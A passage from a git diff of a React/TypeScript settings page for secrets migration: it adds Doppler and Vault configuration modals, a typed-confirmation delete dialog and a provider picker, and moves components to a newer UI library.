+            variant="org"
+            type="button"
+            className="gap-1.5"
             onClick={() => {
               handlePopUpOpen("selectImportPlatform");
             }}
             isDisabled={!hasOrgRole(OrgMembershipRole.Admin)}
-            leftIcon={<FontAwesomeIcon icon={faPlus} />}
           >
+            <Plus className="size-4 shrink-0" />
             Import
           </Button>
         </div>
diff --git a/frontend/src/pages/organization/SettingsPage/components/ExternalMigrationsTab/components/DopplerConfigModal.tsx b/frontend/src/pages/organization/SettingsPage/components/ExternalMigrationsTab/components/DopplerConfigModal.tsx
new file mode 100644
index 00000000000..35eb76fa4b4
--- /dev/null
+++ b/frontend/src/pages/organization/SettingsPage/components/ExternalMigrationsTab/components/DopplerConfigModal.tsx
@@ -0,0 +1,180 @@
+import { useEffect, useMemo } from "react";
+import { Controller, useForm } from "react-hook-form";
+import { zodResolver } from "@hookform/resolvers/zod";
+import { InfoIcon } from "lucide-react";
+import { z } from "zod";
+
+import { createNotification } from "@app/components/notifications";
+import {
+  Button,
+  Dialog,
+  DialogContent,
+  DialogDescription,
+  DialogFooter,
+  DialogHeader,
+  DialogTitle,
+  Field,
+  FieldContent,
+  FieldError,
+  FieldLabel,
+  Tooltip,
+  TooltipContent,
+  TooltipTrigger
+} from "@app/components/v3";
+import { FilterableSelect } from "@app/components/v3/generic/ReactSelect";
+import { AppConnection } from "@app/hooks/api/appConnections/enums";
+import { useListAppConnections } from "@app/hooks/api/appConnections/queries";
+import {
+  useCreateExternalMigrationConfig,
+  useUpdateExternalMigrationConfig
+} from "@app/hooks/api/migration";
+import {
+  ExternalMigrationProviders,
+  TExternalMigrationConfig
+} from "@app/hooks/api/migration/types";
+
+const schema = z.object({
+  connectionId: z.string().min(1, "Connection is required")
+});
+
+type FormData = z.infer<typeof schema>;
+
+type Props = {
+  isOpen: boolean;
+  onOpenChange: (isOpen: boolean) => void;
+  editConfig?: TExternalMigrationConfig;
+};
+
+export const DopplerConfigModal = ({ isOpen, onOpenChange, editConfig }: Props) => {
+  const isEdit = Boolean(editConfig);
+
+  const { data: appConnections = [], isPending: isLoadingConnections } = useListAppConnections();
+
+  const dopplerConnections = useMemo(
+    () => appConnections.filter((conn) => conn.app === AppConnection.Doppler),
+    [appConnections]
+  );
+
+  const { mutateAsync: createConfig, isPending: isCreating } = useCreateExternalMigrationConfig();
+  const { mutateAsync: updateConfig, isPending: isUpdating } = useUpdateExternalMigrationConfig();
+
+  const {
+    control,
+    handleSubmit,
+    reset,
+    formState: { errors, isSubmitting }
+  } = useForm<FormData>({
+    resolver: zodResolver(schema),
+    defaultValues: {
+      connectionId: ""
+    }
+  });
+
+  useEffect(() => {
+    if (isOpen) {
+      reset({
+        connectionId: editConfig?.connectionId || ""
+      });
+    }
+  }, [isOpen, editConfig, reset]);
+
+  const onFormSubmit = async (data: FormData) => {
+    const input = {
+      provider: ExternalMigrationProviders.Doppler as const,
+      config: {} as Record<string, never>
+    };
+
+    if (isEdit && editConfig) {
+      await updateConfig({ id: editConfig.id, connectionId: data.connectionId, input });
+      createNotification({ type: "success", text: "Doppler configuration updated successfully" });
+    } else {
+      await createConfig({ connectionId: data.connectionId, input });
+      createNotification({ type: "success", text: "Doppler configuration created successfully" });
+    }
+    reset();
+    onOpenChange(false);
+  };
+
+  const handleClose = () => {
+    reset();
+    onOpenChange(false);
+  };
+
+  const isPending = isSubmitting || isCreating || isUpdating;
+
+  return (
+    <Dialog
+      open={isOpen}
+      onOpenChange={(open) => {
+        if (!open) {
+          reset();
+          onOpenChange(false);
+        }
+      }}
+    >
+      <DialogContent className="max-w-lg overflow-visible" showCloseButton>
+        <DialogHeader>
+          <DialogTitle>
+            {isEdit ? "Edit Doppler Configuration" : "Add Doppler Configuration"}
+          </DialogTitle>
+          <DialogDescription>
+            Configure a Doppler connection for in-platform migration tooling
+          </DialogDescription>
+        </DialogHeader>
+        <form onSubmit={handleSubmit(onFormSubmit)} className="space-y-4">
+          <Controller
+            control={control}
+            name="connectionId"
+            render={({ field }) => {
+              const selectedConnection = dopplerConnections.find((conn) => conn.id === field.value);
+
+              return (
+                <Field>
+                  <FieldLabel className="inline-flex items-center gap-1">
+                    Doppler Connection
+                    <Tooltip>
+                      <TooltipTrigger asChild>
+                        <span className="inline-flex cursor-default">
+                          <InfoIcon className="size-3 text-accent" aria-hidden />
+                        </span>
+                      </TooltipTrigger>
+                      <TooltipContent>Select a Doppler app connection</TooltipContent>
+                    </Tooltip>
+                  </FieldLabel>
+                  <FieldContent>
+                    <FilterableSelect
+                      value={selectedConnection || null}
+                      onChange={(newValue) => {
+                        const singleValue = Array.isArray(newValue) ? newValue[0] : newValue;
+                        if (singleValue && "id" in singleValue) {
+                          field.onChange(singleValue.id);
+                        } else {
+                          field.onChange("");
+                        }
+                      }}
+                      isLoading={isLoadingConnections}
+                      options={dopplerConnections}
+                      placeholder="Select connection..."
+                      getOptionLabel={(option) => option.name}
+                      getOptionValue={(option) => option.id}
+                    />
+                  </FieldContent>
+                  <FieldError>{errors.connectionId?.message}</FieldError>
+                </Field>
+              );
+            }}
+          />
+
+          <DialogFooter className="gap-2 sm:gap-2">
+            <Button type="button" variant="ghost" onClick={handleClose}>
+              Cancel
+            </Button>
+            <Button type="submit" variant="project" isPending={isPending} isDisabled={isPending}>
+              {isEdit ? "Update" : "Create"}
+            </Button>
+          </DialogFooter>
+        </form>
+      </DialogContent>
+    </Dialog>
+  );
+};
diff --git a/frontend/src/pages/organization/SettingsPage/components/ExternalMigrationsTab/components/EnvKeyPlatformModal.tsx b/frontend/src/pages/organization/SettingsPage/components/ExternalMigrationsTab/components/EnvKeyPlatformModal.tsx
index 2c15cfb8a86..4da16e69671 100644
--- a/frontend/src/pages/organization/SettingsPage/components/ExternalMigrationsTab/components/EnvKeyPlatformModal.tsx
+++ b/frontend/src/pages/organization/SettingsPage/components/ExternalMigrationsTab/components/EnvKeyPlatformModal.tsx
@@ -4,7 +4,7 @@ import { zodResolver } from "@hookform/resolvers/zod";
 import { z } from "zod";
 
 import { createNotification } from "@app/components/notifications";
-import { Button, FormControl, Input } from "@app/components/v2";
+import { Button, Field, FieldContent, FieldError, FieldLabel, Input } from "@app/components/v3";
 import { useImportEnvKey } from "@app/hooks/api/migration/mutations";
 
 import { GenericDropzone } from "./GenericDropzone";
@@ -76,19 +76,18 @@ export const EnvKeyPlatformModal = ({ onClose }: Props) => {
   };
 
   return (
-    <form onSubmit={handleSubmit(onSubmit)} autoComplete="off">
+    <form onSubmit={handleSubmit(onSubmit)} autoComplete="off" className="space-y-4">
       <Controller
         control={control}
         name="encryptionKey"
         render={({ field, fieldState: { error } }) => (
-          <FormControl
-            label="Encryption key"
-            isRequired
-            errorText={error?.message}
-            isError={Boolean(error)}
-          >
-            <Input type="password" placeholder="" {...field} />
-          </FormControl>
+          <Field>
+            <FieldLabel>Encryption key</FieldLabel>
+            <FieldContent>
+              <Input type="password" placeholder="" {...field} isError={Boolean(error)} />
+            </FieldContent>
+            <FieldError>{error?.message}</FieldError>
+          </Field>
         )}
       />
       <GenericDropzone
@@ -97,15 +96,16 @@ export const EnvKeyPlatformModal = ({ onClose }: Props) => {
         onData={onImportFileDrop}
         isSmaller
       />
-      <div className="mt-6 flex items-center space-x-4">
+      <div className="flex items-center gap-2 pt-2">
         <Button
           type="submit"
-          isLoading={isLoading}
+          variant="project"
+          isPending={isLoading || isSubmitting}
           isDisabled={!isDirty || isSubmitting || isLoading || !isValid}
         >
           Import data
         </Button>
-        <Button variant="outline_bg" onClick={onClose}>
+        <Button type="button" variant="outline" onClick={onClose}>
           Cancel
         </Button>
       </div>
diff --git a/frontend/src/pages/organization/SettingsPage/components/ExternalMigrationsTab/components/GenericDropzone.tsx b/frontend/src/pages/organization/SettingsPage/components/ExternalMigrationsTab/components/GenericDropzone.tsx
index c564572a415..b7cc470ad31 100644
--- a/frontend/src/pages/organization/SettingsPage/components/ExternalMigrationsTab/components/GenericDropzone.tsx
+++ b/frontend/src/pages/organization/SettingsPage/components/ExternalMigrationsTab/components/GenericDropzone.tsx
@@ -82,7 +82,7 @@ export const GenericDropzone = forwardRef<HTMLInputElement, Props>(
           onDragOver={handleDrag}
           onDrop={handleDrop}
           className={twMerge(
-            "relative mx-0.5 mt-4 mb-4 flex cursor-pointer items-center justify-center rounded-md bg-mineshaft-900 px-2 py-4 text-sm text-mineshaft-200 opacity-60 outline-2 outline-chicago-600 duration-200 outline-dashed hover:opacity-100",
+            "relative mx-0.5 mt-4 mb-4 flex cursor-pointer items-center justify-center rounded-md border border-dashed border-border bg-container/40 px-2 py-4 text-sm text-muted opacity-80 duration-200 outline-none hover:border-accent/30 hover:opacity-100",
             isDragActive && "opacity-100",
             !isSmaller && "mx-auto w-full max-w-3xl flex-col space-y-4 py-20"
           )}
diff --git a/frontend/src/pages/organization/SettingsPage/components/ExternalMigrationsTab/components/InPlatformMigrationSection.tsx b/frontend/src/pages/organization/SettingsPage/components/ExternalMigrationsTab/components/InPlatformMigrationSection.tsx
new file mode 100644
index 00000000000..c7e866b1b85
--- /dev/null
+++ b/frontend/src/pages/organization/SettingsPage/components/ExternalMigrationsTab/components/InPlatformMigrationSection.tsx
@@ -0,0 +1,290 @@
+import { useMemo, useState } from "react";
+import { Edit, MoreVertical, Plus, Trash2 } from "lucide-react";
+
+import { createNotification } from "@app/components/notifications";
+import {
+  Button,
+  DropdownMenu,
+  DropdownMenuContent,
+  DropdownMenuItem,
+  DropdownMenuTrigger,
+  Empty,
+  EmptyDescription,
+  EmptyHeader,
+  EmptyTitle,
+  IconButton,
+  Skeleton,
+  Table,
+  TableBody,
+  TableCell,
+  TableHead,
+  TableHeader,
+  TableRow
+} from "@app/components/v3";
+import {
+  getInPlatformMigrationProviderMeta,
+  TInPlatformMigrationApp
+} from "@app/helpers/externalMigrationInPlatform";
+import { AppConnection } from "@app/hooks/api/appConnections/enums";
+import { useListAppConnections } from "@app/hooks/api/appConnections/queries";
+import {
+  useDeleteExternalMigrationConfig,
+  useGetExternalMigrationConfigs
+} from "@app/hooks/api/migration";
+import {
+  ExternalMigrationProviders,
+  TExternalMigrationConfig
+} from "@app/hooks/api/migration/types";
+
+import { DopplerConfigModal } from "./DopplerConfigModal";
+import { MigrationConfigDeleteDialog } from "./MigrationConfigDeleteDialog";
+import { SelectInPlatformMigrationProviderModal } from "./SelectInPlatformMigrationProviderModal";
+import { VaultNamespaceConfigModal } from "./VaultNamespaceConfigModal";
+
+const SKELETON_ROW_KEYS = ["sk-1", "sk-2", "sk-3"] as const;
+
+export const InPlatformMigrationSection = () => {
+  const [isProviderPickerOpen, setIsProviderPickerOpen] = useState(false);
+
+  const [vaultModalOpen, setVaultModalOpen] = useState(false);
+  const [vaultEditConfig, setVaultEditConfig] = useState<TExternalMigrationConfig | undefined>();
+
+  const [dopplerConfigModalOpen, setDopplerConfigModalOpen] = useState(false);
+  const [dopplerEditConfig, setDopplerEditConfig] = useState<
+    TExternalMigrationConfig | undefined
+  >();
+
+  const [deleteOpen, setDeleteOpen] = useState(false);
+  const [configToDelete, setConfigToDelete] = useState<TExternalMigrationConfig | null>(null);
+
+  const { data: vaultConfigs = [], isPending: isVaultLoading } = useGetExternalMigrationConfigs(
+    ExternalMigrationProviders.Vault
+  );
+  const { data: dopplerConfigs = [], isPending: isDopplerLoading } = useGetExternalMigrationConfigs(
+    ExternalMigrationProviders.Doppler
+  );
+
+  const { data: appConnections = [] } = useListAppConnections();
+
+  const { mutateAsync: deleteConfig } = useDeleteExternalMigrationConfig();
+
+  const mergedRows = useMemo(() => {
+    const rows: TExternalMigrationConfig[] = [...vaultConfigs, ...dopplerConfigs];
+    rows.sort((a, b) => b.createdAt.localeCompare(a.createdAt));
+    return rows;
+  }, [vaultConfigs, dopplerConfigs]);
+
+  const isLoading = isVaultLoading || isDopplerLoading;
+
+  const getConnectionName = (connectionId: string | null) => {
+    if (!connectionId) return "None";
+    const connection = appConnections.find((conn) => conn.id === connectionId);
+    return connection?.name || "Unknown";
+  };
+
+  const providerApp = (config: TExternalMigrationConfig): TInPlatformMigrationApp =>
+    config.provider === ExternalMigrationProviders.Vault
+      ? AppConnection.HCVault
+      : AppConnection.Doppler;
+
+  const openAddForProvider = (app: TInPlatformMigrationApp) => {
+    if (app === AppConnection.HCVault) {
+      setVaultEditConfig(undefined);
+      setVaultModalOpen(true);
+    } else {
+      setDopplerEditConfig(undefined);
+      setDopplerConfigModalOpen(true);
+    }
+  };
+
+  const handleDeleteConfirm = async () => {
+    if (!configToDelete) return;
+    await deleteConfig({
+      id: configToDelete.id,
+      provider: configToDelete.provider as ExternalMigrationProviders
+    });
+    createNotification({
+      type: "success",
+      text: "Migration configuration deleted successfully"
+    });
+    setDeleteOpen(false);
+    setConfigToDelete(null);
+  };
+
+  const renderTable = () => {
+    if (isLoading) {
+      return (
+        <Table>
+          <TableHeader>
+            <TableRow>
+              <TableHead>Platform</TableHead>
+              <TableHead>Connection</TableHead>
+              <TableHead className="w-12 text-right" />
+            </TableRow>
+          </TableHeader>
+          <TableBody>
+            {SKELETON_ROW_KEYS.map((key) => (
+              <TableRow key={key}>
+                <TableCell>
+                  <Skeleton className="h-4 w-36" />
+                </TableCell>
+                <TableCell>
+                  <Skeleton className="h-4 w-32" />
+                </TableCell>
+                <TableCell className="text-right">
+                  <Skeleton className="ml-auto size-7 shrink-0 rounded-md" />
+                </TableCell>
+              </TableRow>
+            ))}
+          </TableBody>
+        </Table>
+      );
+    }
+    if (mergedRows.length === 0) {
+      return (
+        <Empty>
+          <EmptyHeader>
+            <EmptyTitle>No migration configurations</EmptyTitle>
+            <EmptyDescription>
+              Add a platform configuration to enable in-platform migration features.
+            </EmptyDescription>
+          </EmptyHeader>
+        </Empty>
+      );
+    }
+    return (
+      <Table>
+        <TableHeader>
+          <TableRow>
+            <TableHead>Platform</TableHead>
+            <TableHead>Connection</TableHead>
+            <TableHead className="w-12 text-right" />
+          </TableRow>
+        </TableHeader>
+        <TableBody>
+          {mergedRows.map((config) => {
+            const app = providerApp(config);
+            const { name, imageFileName } = getInPlatformMigrationProviderMeta(app);
+            const isDoppler = config.provider === ExternalMigrationProviders.Doppler;
+
+            return (
+              <TableRow key={config.id}>
+                <TableCell>
+                  <div className="flex items-center gap-2">
+                    <div className="flex size-8 shrink-0 items-center justify-center rounded-md bg-bunker-500 p-1">
+                      <img
+                        src={`/images/integrations/${imageFileName}`}
+                        alt=""
+                        className={
+                          isDoppler
+                            ? "max-h-5 max-w-5 object-contain"
+                            : "max-h-full max-w-full object-contain"
+                        }
+                      />
+                    </div>
+                    <span className="text-sm text-mineshaft-200">{name}</span>
+                  </div>
+                </TableCell>
+                <TableCell>{getConnectionName(config.connectionId)}</TableCell>
+                <TableCell className="text-right">
+                  <DropdownMenu>
+                    <DropdownMenuTrigger asChild>
+                      <IconButton
+                        variant="ghost"
+                        size="xs"
+                        aria-label="Row actions"
+                        className="text-mineshaft-300"
+                      >
+                        <MoreVertical className="size-4" />
+                      </IconButton>
+                    </DropdownMenuTrigger>
+                    <DropdownMenuContent align="end" className="min-w-40">
+                      <DropdownMenuItem
+                        onClick={() => {
+                          if (isDoppler) {
+                            setDopplerEditConfig(config);
+                            setDopplerConfigModalOpen(true);
+                          } else {
+                            setVaultEditConfig(config);
+                            setVaultModalOpen(true);
+                          }
+                        }}
+                      >
+                        <Edit />
+                        Edit
+                      </DropdownMenuItem>
+                      <DropdownMenuItem
+                        variant="danger"
+                        onClick={() => {
+                          setConfigToDelete(config);
+                          setDeleteOpen(true);
+                        }}
+                      >
+                        <Trash2 />
+                        Delete
+                      </DropdownMenuItem>
+                    </DropdownMenuContent>
+                  </DropdownMenu>
+                </TableCell>
+              </TableRow>
+            );
+          })}
+        </TableBody>
+      </Table>
+    );
+  };
+
+  return (
+    <div>
+      <div className="mb-4 flex flex-wrap items-center justify-between gap-2">
+        <h3 className="text-lg font-medium text-mineshaft-100">Configurations</h3>
+        <Button
+          variant="org"
+          type="button"
+          className="gap-1.5"
+          onClick={() => setIsProviderPickerOpen(true)}
+        >
+          <Plus className="size-4 shrink-0" />
+          Add configuration
+        </Button>
+      </div>
+
+      {renderTable()}
+
+      <SelectInPlatformMigrationProviderModal
+        isOpen={isProviderPickerOpen}
+        onOpenChange={setIsProviderPickerOpen}
+        onSelect={openAddForProvider}
+      />
+
+      <VaultNamespaceConfigModal
+        isOpen={vaultModalOpen}
+        onOpenChange={(open) => {
+          setVaultModalOpen(open);
+          if (!open) setVaultEditConfig(undefined);
+        }}
+        editConfig={vaultEditConfig}
+      />
+
+      <DopplerConfigModal
+        isOpen={dopplerConfigModalOpen}
+        onOpenChange={(open) => {
+          setDopplerConfigModalOpen(open);
+          if (!open) setDopplerEditConfig(undefined);
+        }}
+        editConfig={dopplerEditConfig}
+      />
+
+      <MigrationConfigDeleteDialog
+        isOpen={deleteOpen}
+        title="Delete migration configuration?"
+        onChange={(open) => {
+          setDeleteOpen(open);
+          if (!open) setConfigToDelete(null);
+        }}
+        deleteKey="confirm"
+        onDeleteApproved={handleDeleteConfirm}
+      />
+    </div>
+  );
+};
diff --git a/frontend/src/pages/organization/SettingsPage/components/ExternalMigrationsTab/components/MigrationConfigDeleteDialog.tsx b/frontend/src/pages/organization/SettingsPage/components/ExternalMigrationsTab/components/MigrationConfigDeleteDialog.tsx
new file mode 100644
index 00000000000..8be0ce9de97
--- /dev/null
+++ b/frontend/src/pages/organization/SettingsPage/components/ExternalMigrationsTab/components/MigrationConfigDeleteDialog.tsx
@@ -0,0 +1,106 @@
+import { useEffect, useState } from "react";
+
+import {
+  Button,
+  Dialog,
+  DialogContent,
+  DialogDescription,
+  DialogFooter,
+  DialogHeader,
+  DialogTitle,
+  Field,
+  FieldContent,
+  FieldLabel,
+  Input
+} from "@app/components/v3";
+import { useToggle } from "@app/hooks";
+
+type Props = {
+  isOpen?: boolean;
+  onChange?: (isOpen: boolean) => void;
+  deleteKey: string;
+  title: string;
+  subTitle?: string;
+  onDeleteApproved: () => Promise<void>;
+  buttonText?: string;
+  isDisabled?: boolean;
+};
+
+export const MigrationConfigDeleteDialog = ({
+  isOpen,
+  onChange,
+  deleteKey,
+  title,
+  subTitle = "This action is irreversible.",
+  onDeleteApproved,
+  buttonText = "Delete",
+  isDisabled
+}: Props) => {
+  const [inputData, setInputData] = useState("");
+  const [isLoading, setIsLoading] = useToggle();
+
+  useEffect(() => {
+    setInputData("");
+  }, [isOpen]);
+
+  const onDelete = async () => {
+    setIsLoading.on();
+    try {
+      await onDeleteApproved();
+    } finally {
+      setIsLoading.off();
+    }
+  };
+
+  return (
+    <Dialog
+      open={Boolean(isOpen)}
+      onOpenChange={(open) => {
+        if (!open) setInputData("");
+        onChange?.(open);
+      }}
+    >
+      <DialogContent className="max-w-md">
+        <DialogHeader>
+          <DialogTitle>{title}</DialogTitle>
+          <DialogDescription>{subTitle}</DialogDescription>
+        </DialogHeader>
+        <form
+          onSubmit={async (evt) => {
+            evt.preventDefault();
+            if (deleteKey === inputData) await onDelete();
+          }}
+        >
+          <Field>
+            <FieldLabel className="text-sm break-words">
+              Type <span className="font-bold">{deleteKey}</span> to perform this action
+            </FieldLabel>
+            <FieldContent>
+              <Input
+                value={inputData}
+                onChange={(e) => setInputData(e.target.value)}
+                placeholder={`Type ${deleteKey} here`}
+                aria-invalid={inputData.length > 0 && deleteKey !== inputData}
+              />
+            </FieldContent>
+          </Field>
+        </form>
+        <DialogFooter>
+          <Button variant="outline" onClick={() => onChange?.(false)}>
+            Cancel
+          </Button>
+          <Button
+            variant="danger"
+            isPending={isLoading}
+            isDisabled={deleteKey !== inputData || isLoading || isDisabled}
+            onClick={async () => {
+              await onDelete();
+            }}
+          >
+            {buttonText}
+          </Button>
+        </DialogFooter>
+      </DialogContent>
+    </Dialog>
+  );
+};
diff --git a/frontend/src/pages/organization/SettingsPage/components/ExternalMigrationsTab/components/SelectImportFromPlatformModal.tsx b/frontend/src/pages/organization/SettingsPage/components/ExternalMigrationsTab/components/SelectImportFromPlatformModal.tsx
index c7c22e0a7c7..5de0ecacbb7 100644
--- a/frontend/src/pages/organization/SettingsPage/components/ExternalMigrationsTab/components/SelectImportFromPlatformModal.tsx
+++ b/frontend/src/pages/organization/SettingsPage/components/ExternalMigrationsTab/components/SelectImportFromPlatformModal.tsx
@@ -1,7 +1,13 @@
 import { useState } from "react";
 import { AnimatePresence, motion } from "framer-motion";
 
-import { Modal, ModalContent } from "@app/components/v2";
+import {
+  Dialog,
+  DialogContent,
+  DialogDescription,
+  DialogHeader,
+  DialogTitle
+} from "@app/components/v3";
 
 import { EnvKeyPlatformModal } from "./EnvKeyPlatformModal";
 import { VaultPlatformModal } from "./VaultPlatformModal";
@@ -37,20 +43,27 @@ export const SelectImportFromPlatformModal = ({ isOpen, onToggle }: Props) => {
     null
   );
 
-  const handleFormReset = (state: boolean = false) => {
-    onToggle(state);
-    setWizardStep(WizardSteps.SelectPlatform);
-    setSelectedPlatform(null);
+  const handleOpenChange = (open: boolean) => {
+    if (!open) {
+      setWizardStep(WizardSteps.SelectPlatform);
+      setSelectedPlatform(null);
+    }
+    onToggle(open);
   };
 
+  const title = selectedPlatform
+    ? `Import from ${selectedPlatform.title}`
+    : "Import from external source";
+
   return (
-    <Modal isOpen={isOpen} onOpenChange={(state) => handleFormReset(state)}>
-      <ModalContent
-        title={
-          selectedPlatform ? `Import from ${selectedPlatform.title}` : "Import from external source"
-        }
-        className="my-4"
-      >
+    <Dialog open={Boolean(isOpen)} onOpenChange={handleOpenChange}>
+      <DialogContent className="max-w-lg" showCloseButton>
+        <DialogHeader>
+          <DialogTitle>{title}</DialogTitle>
+          {wizardStep === WizardSteps.SelectPlatform && (
+            <DialogDescription>Select a platform to import from</DialogDescription>
+          )}
+        </DialogHeader>
         <AnimatePresence mode="wait">
           {wizardStep === WizardSteps.SelectPlatform && (
             <motion.div
@@ -60,14 +73,11 @@ export const SelectImportFromPlatformModal = ({ isOpen, onToggle }: Props) => {
               animate={{ opacity: 1, translateX: 0 }}
               exit={{ opacity: 0, translateX: -30 }}
             >
-              <div className="mb-4 text-sm text-mineshaft-300">
-                Select a platform to import from
-              </div>
               <div className="flex items-center space-x-4">
                 {PLATFORM_LIST.map((platform, idx) => (
                   <div
                     key={`platform-${idx + 1}`}
-                    className="flex h-28 w-32 cursor-pointer flex-col items-center justify-between rounded-sm border border-mineshaft-500 bg-mineshaft-700 p-6 py-5 transition-all hover:border-primary/70 hover:bg-primary/10 hover:text-white"
+                    className="flex h-28 w-32 cursor-pointer flex-col items-center justify-between rounded-sm border border-border bg-container p-6 py-5 transition-all hover:border-accent/40 hover:bg-foreground/5"
                     role="button"
                     tabIndex={0}
                     onClick={() => {
@@ -86,7 +96,9 @@ export const SelectImportFromPlatformModal = ({ isOpen, onToggle }: Props) => {
                       alt={`${platform.title} logo`}
                       style={{ width: platform.size }}
                     />
-                    <div className="text-center text-sm whitespace-pre-wrap">{platform.title}</div>
+                    <div className="text-center text-sm whitespace-pre-wrap text-foreground">
+                      {platform.title}
+                    </div>
                   </div>
                 ))}
               </div>
@@ -102,7 +114,7 @@ export const SelectImportFromPlatformModal = ({ isOpen, onToggle }: Props) => {
                   animate={{ opacity: 1, translateX: 0 }}
                   exit={{ opacity: 0, translateX: -30 }}
                 >
-                  <EnvKeyPlatformModal onClose={() => handleFormReset(false)} />
+                  <EnvKeyPlatformModal onClose={() => handleOpenChange(false)} />
                 </motion.div>
               )}
               {selectedPlatform?.platform === "vault" && (
@@ -113,13 +125,13 @@ export const SelectImportFromPlatformModal = ({ isOpen, onToggle }: Props) => {
                   animate={{ opacity: 1, translateX: 0 }}
                   exit={{ opacity: 0, translateX: -30 }}
                 >
-                  <VaultPlatformModal onClose={() => handleFormReset(false)} />
+                  <VaultPlatformModal onClose={() => handleOpenChange(false)} />
                 </motion.div>
               )}
             </>
           )}
         </AnimatePresence>
-      </ModalContent>
-    </Modal>
+      </DialogContent>
+    </Dialog>
   );
 };
diff --git a/frontend/src/pages/organization/SettingsPage/components/ExternalMigrationsTab/components/SelectInPlatformMigrationProviderModal.tsx b/frontend/src/pages/organization/SettingsPage/components/ExternalMigrationsTab/components/SelectInPlatformMigrationProviderModal.tsx
new file mode 100644
index 00000000000..38174d2b620
--- /dev/null
+++ b/frontend/src/pages/organization/SettingsPage/components/ExternalMigrationsTab/components/SelectInPlatformMigrationProviderModal.tsx
@@ -0,0 +1,87 @@
+import { Link } from "@tanstack/react-router";
+
+import {
+  Dialog,
+  DialogContent,
+  DialogDescription,
+  DialogHeader,
+  DialogTitle
+} from "@app/components/v3";
+import { useOrganization } from "@app/context";
+import {
+  getInPlatformMigrationProviderMeta,
+  IN_PLATFORM_MIGRATION_APP_CONNECTIONS,
+  IN_PLATFORM_MIGRATION_PROVIDER_DETAILS,
+  TInPlatformMigrationApp
+} from "@app/helpers/externalMigrationInPlatform";
+
+type Props = {
+  isOpen: boolean;
+  onOpenChange: (open: boolean) => void;
+  onSelect: (app: TInPlatformMigrationApp) => void;
+};
+
+export const SelectInPlatformMigrationProviderModal = ({
+  isOpen,
+  onOpenChange,
+  onSelect
+}: Props) => {
+  const { currentOrg } = useOrganization();
+
+  return (
+    <Dialog open={isOpen} onOpenChange={onOpenChange}>
+      <DialogContent className="max-w-lg overflow-visible" showCloseButton>
+        <DialogHeader>
+          <DialogTitle>Add migration configuration</DialogTitle>
+          <DialogDescription asChild>
+            <p>
+              Select a platform to link to in-platform migration. Credentials are managed in{" "}
+              <Link
+                to="/organizations/$orgId/app-connections"
+                params={{ orgId: currentOrg.id }}
+                className="text-accent underline hover:no-underline"
+                onClick={() => onOpenChange(false)}
+              >
+                App Connections
+              </Link>
+              .
+            </p>
+          </DialogDescription>
+        </DialogHeader>
+        <div className="grid grid-cols-1 gap-2 sm:grid-cols-2">
+          {IN_PLATFORM_MIGRATION_APP_CONNECTIONS.map((app) => {
+            const { name, imageFileName, size } = getInPlatformMigrationProviderMeta(app);
+            const { description } = IN_PLATFORM_MIGRATION_PROVIDER_DETAILS[app];
+
+            return (
+              <button
+                key={app}
+                type="button"
+                onClick={() => {
+                  onSelect(app);
+                  onOpenChange(false);
+                }}
+                className="group flex flex-col items-center rounded-md border border-border bg-container p-4 text-left duration-200 hover:bg-foreground/5"
+              >
+                <div className="flex h-12 items-center justify-center">
+                  <img
+                    src={`/images/integrations/${imageFileName}`}
+                    style={{ width: size, height: size }}
+                    className="object-contain"
+                    alt=""
+                  />
+                </div>
+                <span className="mt-3 text-center text-sm font-medium text-foreground group-hover:text-foreground">
+                  {name}
+                </span>
+                <span className="mt-2 flex-1 text-center text-xs leading-snug text-muted">
+                  {description}
+                </span>
+              </button>
+            );
+          })}
+        </div>
+      </DialogContent>
+    </Dialog>
+  );
+};
diff --git a/frontend/src/pages/organization/SettingsPage/components/ExternalMigrationsTab/components/VaultConnectionSection.tsx b/frontend/src/pages/organization/SettingsPage/components/ExternalMigrationsTab/components/VaultConnectionSection.tsx
deleted file mode 100644
index 070d9929d13..00000000000
--- a/frontend/src/pages/organization/SettingsPage/components/ExternalMigrationsTab/components/VaultConnectionSection.tsx
+++ /dev/null
@@ -1,193 +0,0 @@
-import { useState } from "react";
-import { faEdit, faPlus, faTrash } from "@fortawesome/free-solid-svg-icons";
-import { FontAwesomeIcon } from "@fortawesome/react-fontawesome";
-import { Link } from "@tanstack/react-router";
-
-import { createNotification } from "@app/components/notifications";
-import {
-  Button,
-  DeleteActionModal,
-  EmptyState,
-  Table,
-  TableContainer,
-  TableSkeleton,
-  TBody,
-  Td,
-  Th,
-  THead,
-  Tr
-} from "@app/components/v2";
-import { useOrganization } from "@app/context";
-import { useListAppConnections } from "@app/hooks/api/appConnections/queries";
-import {
-  useDeleteVaultExternalMigrationConfig,
-  useGetVaultExternalMigrationConfigs
-} from "@app/hooks/api/migration";
-import { TVaultExternalMigrationConfig } from "@app/hooks/api/migration/types";
-
-import { VaultNamespaceConfigModal } from "./VaultNamespaceConfigModal";
-
-export const VaultConnectionSection = () => {
-  const [selectedConfig, setSelectedConfig] = useState<TVaultExternalMigrationConfig | null>(null);
-  const [isModalOpen, setIsModalOpen] = useState(false);
-  const [isDeleteModalOpen, setIsDeleteModalOpen] = useState(false);
-  const [configToDelete, setConfigToDelete] = useState<TVaultExternalMigrationConfig | null>(null);
-
-  const { data: configs = [], isPending: isLoadingConfigs } = useGetVaultExternalMigrationConfigs();
-
-  const { currentOrg } = useOrganization();
-  const { data: appConnections = [] } = useListAppConnections();
-  const { mutateAsync: deleteConfig } = useDeleteVaultExternalMigrationConfig();
-
-  const handleEdit = (config: TVaultExternalMigrationConfig) => {
-    setSelectedConfig(config);
-    setIsModalOpen(true);
-  };
-
-  const handleAdd = () => {
-    setSelectedConfig(null);
-    setIsModalOpen(true);
-  };
-
-  const handleDeleteClick = (config: TVaultExternalMigrationConfig) => {
-    setConfigToDelete(config);
-    setIsDeleteModalOpen(true);
-  };
-
-  const handleDeleteConfirm = async () => {
-    if (!configToDelete) return;
-
-    await deleteConfig({ id: configToDelete.id });
-    createNotification({
-      type: "success",
-      text: "Namespace configuration deleted successfully"
-    });
-    setIsDeleteModalOpen(false);
-    setConfigToDelete(null);
-  };
-
-  const getConnectionName = (connectionId: string | null) => {
-    if (!connectionId) return "None";
-    const connection = appConnections.find((conn) => conn.id === connectionId);
-    return connection?.name || "Unknown";
-  };
-
-  return (
-    <div>
-      <div className="mb-4 flex flex-wrap items-center justify-between gap-2">
-        <div className="flex items-center gap-3">
-          <img
-            src="/images/integrations/Vault.png"
-            alt="HashiCorp Vault logo"
-            className="h-10 w-10 rounded-md bg-bunker-500 p-2"
-          />
-          <div>
-            <h3 className="text-lg font-medium text-mineshaft-100">HashiCorp Vault</h3>
